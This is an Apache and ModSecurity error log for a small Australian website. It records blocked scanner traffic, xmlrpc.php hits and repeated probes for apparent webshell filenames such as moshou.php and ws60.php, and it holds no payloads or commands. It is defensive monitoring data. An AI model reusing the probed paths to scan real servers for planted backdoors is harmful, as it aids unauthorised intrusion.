[Thu Feb 26 10:27:04.127068 2026] [:error] [pid 3883:tid 3903] [client 20.100.197.204:42170] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/av.php"] [unique_id "aZ-veOA33x90V6yYHaj5KgAAAVE"]
[Thu Feb 26 10:27:05.879995 2026] [:error] [pid 55618:tid 55639] [client 20.100.197.204:48944] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/av.php"] [unique_id "aZ-veR61Vrh12f_8oWQwrwAAARI"]
[Thu Feb 26 10:50:38.715846 2026] [:error] [pid 25311:tid 25315] [client 76.71.215.165:55919] [client 76.71.215.165] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 76.71.215.165, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aZ-0_tfdM__yZAgJFStTQQAAAYE"]
[Thu Feb 26 10:50:38.729387 2026] [proxy_fcgi:error] [pid 25311:tid 25315] [client 76.71.215.165:55919] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 10:52:54.253985 2026] [:error] [pid 54991:tid 55026] [client 103.150.242.194:54014] [client 103.150.242.194] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.150.242.194, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aZ-1ht4Zx-mJ8gbRB2h2cwAAAEY"]
[Thu Feb 26 10:52:54.268320 2026] [proxy_fcgi:error] [pid 54991:tid 55026] [client 103.150.242.194:54014] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 14:17:48.117983 2026] [autoindex:error] [pid 55618:tid 55634] [client 4.193.97.168:8478] AH01276: Cannot serve directory /home/agraphicscom/public_html/.well-known/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Feb 26 14:17:48.307177 2026] [proxy_fcgi:error] [pid 55618:tid 55638] [client 4.193.97.168:8478] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 14:17:48.399664 2026] [proxy_fcgi:error] [pid 55618:tid 55622] [client 4.193.97.168:8478] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 14:17:48.530260 2026] [proxy_fcgi:error] [pid 55618:tid 55644] [client 4.193.97.168:8478] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 14:17:48.621086 2026] [proxy_fcgi:error] [pid 55618:tid 55639] [client 4.193.97.168:8478] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 14:17:48.712244 2026] [proxy_fcgi:error] [pid 55618:tid 55636] [client 4.193.97.168:8478] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 14:17:48.805214 2026] [proxy_fcgi:error] [pid 55618:tid 55621] [client 4.193.97.168:8478] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 14:17:48.896903 2026] [proxy_fcgi:error] [pid 55618:tid 55632] [client 4.193.97.168:8478] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 14:17:49.012523 2026] [proxy_fcgi:error] [pid 55618:tid 55627] [client 4.193.97.168:8478] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 14:17:49.103770 2026] [proxy_fcgi:error] [pid 55618:tid 55637] [client 4.193.97.168:8478] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 14:17:49.190773 2026] [:error] [pid 55618:tid 55642] [client 4.193.97.168:8478] [client 4.193.97.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2021/01/16/upload-and-download-file-using-multipart-form-over-http/"] [unique_id "aZ_ljR61Vrh12f_8oWSONgAAARU"]
[Thu Feb 26 14:17:49.546510 2026] [:error] [pid 25311:tid 25327] [client 4.193.97.168:7278] [client 4.193.97.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2021/01/16/upload-and-download-file-using-multipart-form-over-http/"] [unique_id "aZ_ljdfdM__yZAgJFSv8NwAAAY0"]
[Thu Feb 26 14:17:49.895015 2026] [:error] [pid 3883:tid 3901] [client 4.193.97.168:7255] [client 4.193.97.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2021/01/16/upload-and-download-file-using-multipart-form-over-http/"] [unique_id "aZ_ljeA33x90V6yYHah8tQAAAU8"]
[Thu Feb 26 14:17:50.252143 2026] [:error] [pid 3883:tid 3886] [client 4.193.97.168:7290] [client 4.193.97.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2021/01/16/upload-and-download-file-using-multipart-form-over-http/"] [unique_id "aZ_ljuA33x90V6yYHah8tgAAAUA"]
[Thu Feb 26 14:33:35.728628 2026] [:error] [pid 25311:tid 25328] [client 103.186.30.186:65055] [client 103.186.30.186] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aZ_pP9fdM__yZAgJFSsIqAAAAY4"]
[Thu Feb 26 19:04:11.510722 2026] [proxy_fcgi:error] [pid 55051:tid 55074] [client 4.193.97.168:1236] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 19:04:13.880478 2026] [proxy_fcgi:error] [pid 55051:tid 55065] [client 4.193.97.168:1236] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 19:04:13.976447 2026] [proxy_fcgi:error] [pid 55051:tid 55073] [client 4.193.97.168:1236] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 19:04:14.069439 2026] [proxy_fcgi:error] [pid 55051:tid 55058] [client 4.193.97.168:1236] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 19:04:14.156436 2026] [:error] [pid 55051:tid 55057] [client 4.193.97.168:1236] [client 4.193.97.168] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 4.193.97.168, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aaAorgmK1w2kZvh5eLGAcQAAAIM"]
[Thu Feb 26 19:04:14.163438 2026] [proxy_fcgi:error] [pid 55051:tid 55057] [client 4.193.97.168:1236] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 19:04:14.278452 2026] [proxy_fcgi:error] [pid 55051:tid 55076] [client 4.193.97.168:1236] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 19:04:14.375443 2026] [proxy_fcgi:error] [pid 55051:tid 55056] [client 4.193.97.168:1236] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 19:04:14.477440 2026] [proxy_fcgi:error] [pid 55051:tid 55069] [client 4.193.97.168:1236] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 19:04:17.390451 2026] [proxy_fcgi:error] [pid 55051:tid 55063] [client 4.193.97.168:1236] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 19:04:17.486447 2026] [proxy_fcgi:error] [pid 55051:tid 55059] [client 4.193.97.168:1236] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 19:04:17.586442 2026] [proxy_fcgi:error] [pid 55051:tid 55073] [client 4.193.97.168:1236] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 19:04:17.674276 2026] [:error] [pid 55051:tid 55054] [client 4.193.97.168:1236] [client 4.193.97.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/autoload_classmap.php"] [unique_id "aaAosQmK1w2kZvh5eLGAlQAAAIA"]
[Thu Feb 26 19:04:18.032502 2026] [:error] [pid 44444:tid 44456] [client 4.193.97.168:1706] [client 4.193.97.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/autoload_classmap.php"] [unique_id "aaAosm2sMNmj-yekUk3IQwAAAgY"]
[Thu Feb 26 19:04:18.404270 2026] [:error] [pid 55122:tid 55146] [client 4.193.97.168:9941] [client 4.193.97.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/autoload_classmap.php"] [unique_id "aaAosoLiR0OfjFxvcN8dmAAAANY"]
[Thu Feb 26 19:04:18.756325 2026] [:error] [pid 55122:tid 55138] [client 4.193.97.168:1702] [client 4.193.97.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/autoload_classmap.php"] [unique_id "aaAosoLiR0OfjFxvcN8dmQAAAM4"]
[Thu Feb 26 20:42:13.314774 2026] [:error] [pid 44444:tid 44455] [client 217.165.36.73:58150] [client 217.165.36.73] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.165.36.73, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aaA_pW2sMNmj-yekUk0MhAAAAgU"]
[Thu Feb 26 20:42:13.327371 2026] [proxy_fcgi:error] [pid 44444:tid 44455] [client 217.165.36.73:58150] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 20:43:42.233268 2026] [proxy_fcgi:error] [pid 3883:tid 3906] [client 172.190.142.176:47700] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 20:43:42.463506 2026] [proxy_fcgi:error] [pid 3883:tid 3889] [client 172.190.142.176:47700] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 20:43:42.698964 2026] [proxy_fcgi:error] [pid 3883:tid 3888] [client 172.190.142.176:47700] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 20:43:42.927777 2026] [proxy_fcgi:error] [pid 3883:tid 3893] [client 172.190.142.176:47700] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 20:43:43.159996 2026] [proxy_fcgi:error] [pid 3883:tid 3902] [client 172.190.142.176:47700] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 20:43:43.429698 2026] [proxy_fcgi:error] [pid 3883:tid 3892] [client 172.190.142.176:47700] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 20:43:43.663027 2026] [proxy_fcgi:error] [pid 3883:tid 3899] [client 172.190.142.176:47700] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 20:43:43.896109 2026] [proxy_fcgi:error] [pid 3883:tid 3901] [client 172.190.142.176:47700] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 20:43:44.126917 2026] [proxy_fcgi:error] [pid 3883:tid 3900] [client 172.190.142.176:47700] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 20:43:44.358322 2026] [proxy_fcgi:error] [pid 3883:tid 3908] [client 172.190.142.176:47700] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 20:43:44.581334 2026] [:error] [pid 3883:tid 3907] [client 172.190.142.176:47700] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/x123.php"] [unique_id "aaBAAOA33x90V6yYHajT_wAAAVU"]
[Thu Feb 26 20:43:45.090023 2026] [:error] [pid 20419:tid 20439] [client 172.190.142.176:65317] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/x123.php"] [unique_id "aaBAAe3DVDvMfTYYUBVOuAAAAdE"]
[Thu Feb 26 20:43:45.684888 2026] [:error] [pid 20419:tid 20429] [client 172.190.142.176:39676] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/x123.php"] [unique_id "aaBAAe3DVDvMfTYYUBVOuQAAAcc"]
[Thu Feb 26 20:43:46.379202 2026] [:error] [pid 55618:tid 55640] [client 172.190.142.176:53677] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/x123.php"] [unique_id "aaBAAh61Vrh12f_8oWQFqAAAARM"]
[Thu Feb 26 20:43:46.925044 2026] [:error] [pid 54991:tid 55041] [client 172.190.142.176:39658] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-act.php"] [unique_id "aaBAAt4Zx-mJ8gbRB2jhaAAAAFU"]
[Thu Feb 26 20:43:47.463506 2026] [:error] [pid 55618:tid 55623] [client 172.190.142.176:36717] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-act.php"] [unique_id "aaBAAx61Vrh12f_8oWQFqwAAAQI"]
[Thu Feb 26 20:43:48.047000 2026] [:error] [pid 25311:tid 25335] [client 172.190.142.176:46876] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-act.php"] [unique_id "aaBABNfdM__yZAgJFSvWnAAAAZU"]
[Thu Feb 26 20:43:48.531956 2026] [:error] [pid 3883:tid 3906] [client 172.190.142.176:29688] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-act.php"] [unique_id "aaBABOA33x90V6yYHajUBAAAAVQ"]
[Thu Feb 26 20:43:49.047138 2026] [:error] [pid 20419:tid 20441] [client 172.190.142.176:47736] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/moshou.php"] [unique_id "aaBABe3DVDvMfTYYUBVOvAAAAdM"]
[Thu Feb 26 20:43:49.539852 2026] [:error] [pid 55051:tid 55074] [client 172.190.142.176:46895] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/moshou.php"] [unique_id "aaBABQmK1w2kZvh5eLGhtwAAAJQ"]
[Thu Feb 26 20:43:50.112003 2026] [:error] [pid 54991:tid 55025] [client 172.190.142.176:65082] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/moshou.php"] [unique_id "aaBABt4Zx-mJ8gbRB2jhagAAAEU"]
[Thu Feb 26 20:43:50.648071 2026] [:error] [pid 55618:tid 55636] [client 172.190.142.176:39403] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/moshou.php"] [unique_id "aaBABh61Vrh12f_8oWQFrgAAAQ8"]
[Thu Feb 26 20:43:51.160492 2026] [:error] [pid 25311:tid 25315] [client 172.190.142.176:36697] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/seetox.php"] [unique_id "aaBAB9fdM__yZAgJFSvWpQAAAYE"]
[Thu Feb 26 20:43:51.726800 2026] [:error] [pid 55618:tid 55637] [client 172.190.142.176:29660] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/seetox.php"] [unique_id "aaBABx61Vrh12f_8oWQFsAAAARA"]
[Thu Feb 26 20:43:52.196513 2026] [:error] [pid 54990:tid 55009] [client 172.190.142.176:29632] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/seetox.php"] [unique_id "aaBACHtr2qmt_mBhH2wkkgAAABA"]
[Thu Feb 26 20:43:52.799366 2026] [:error] [pid 54990:tid 54993] [client 172.190.142.176:39669] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/seetox.php"] [unique_id "aaBACHtr2qmt_mBhH2wklgAAAAA"]
[Thu Feb 26 20:43:53.268047 2026] [:error] [pid 25311:tid 25320] [client 172.190.142.176:47727] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dom.php"] [unique_id "aaBACdfdM__yZAgJFSvWpwAAAYY"]
[Thu Feb 26 20:43:53.773670 2026] [:error] [pid 25311:tid 25326] [client 172.190.142.176:65051] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dom.php"] [unique_id "aaBACdfdM__yZAgJFSvWqwAAAYw"]
[Thu Feb 26 20:43:54.276661 2026] [:error] [pid 54991:tid 55026] [client 172.190.142.176:38322] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dom.php"] [unique_id "aaBACt4Zx-mJ8gbRB2jhbwAAAEY"]
[Thu Feb 26 20:43:54.768146 2026] [:error] [pid 55051:tid 55062] [client 172.190.142.176:56966] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dom.php"] [unique_id "aaBACgmK1w2kZvh5eLGhvQAAAIg"]
[Thu Feb 26 20:43:55.290088 2026] [:error] [pid 54991:tid 55040] [client 172.190.142.176:38311] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws60.php"] [unique_id "aaBAC94Zx-mJ8gbRB2jhdAAAAFQ"]
[Thu Feb 26 20:43:55.741554 2026] [:error] [pid 54991:tid 55031] [client 172.190.142.176:3226] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws60.php"] [unique_id "aaBAC94Zx-mJ8gbRB2jhdQAAAEs"]
[Thu Feb 26 20:43:56.254386 2026] [:error] [pid 54991:tid 55028] [client 172.190.142.176:47131] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws60.php"] [unique_id "aaBADN4Zx-mJ8gbRB2jhdwAAAEg"]
[Thu Feb 26 20:43:56.744488 2026] [:error] [pid 54991:tid 55027] [client 172.190.142.176:65052] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws60.php"] [unique_id "aaBADN4Zx-mJ8gbRB2jhewAAAEc"]
[Thu Feb 26 20:43:57.273004 2026] [:error] [pid 55051:tid 55075] [client 172.190.142.176:65038] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/samiri.php"] [unique_id "aaBADQmK1w2kZvh5eLGhwwAAAJU"]
[Thu Feb 26 20:43:57.763257 2026] [:error] [pid 54991:tid 55043] [client 172.190.142.176:47696] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/samiri.php"] [unique_id "aaBADd4Zx-mJ8gbRB2jhgQAAAFc"]
[Thu Feb 26 20:43:58.247942 2026] [:error] [pid 20419:tid 20430] [client 172.190.142.176:56995] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/samiri.php"] [unique_id "aaBADu3DVDvMfTYYUBVOwwAAAcg"]
[Thu Feb 26 20:43:58.726293 2026] [:error] [pid 25311:tid 25330] [client 172.190.142.176:39411] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/samiri.php"] [unique_id "aaBADtfdM__yZAgJFSvWsQAAAZA"]
[Thu Feb 26 20:43:59.202197 2026] [:error] [pid 20419:tid 20446] [client 172.190.142.176:20135] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/plugins.php"] [unique_id "aaBAD-3DVDvMfTYYUBVOxAAAAdg"]
[Thu Feb 26 20:43:59.667950 2026] [:error] [pid 54991:tid 55031] [client 172.190.142.176:47105] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/plugins.php"] [unique_id "aaBAD94Zx-mJ8gbRB2jhiQAAAEs"]
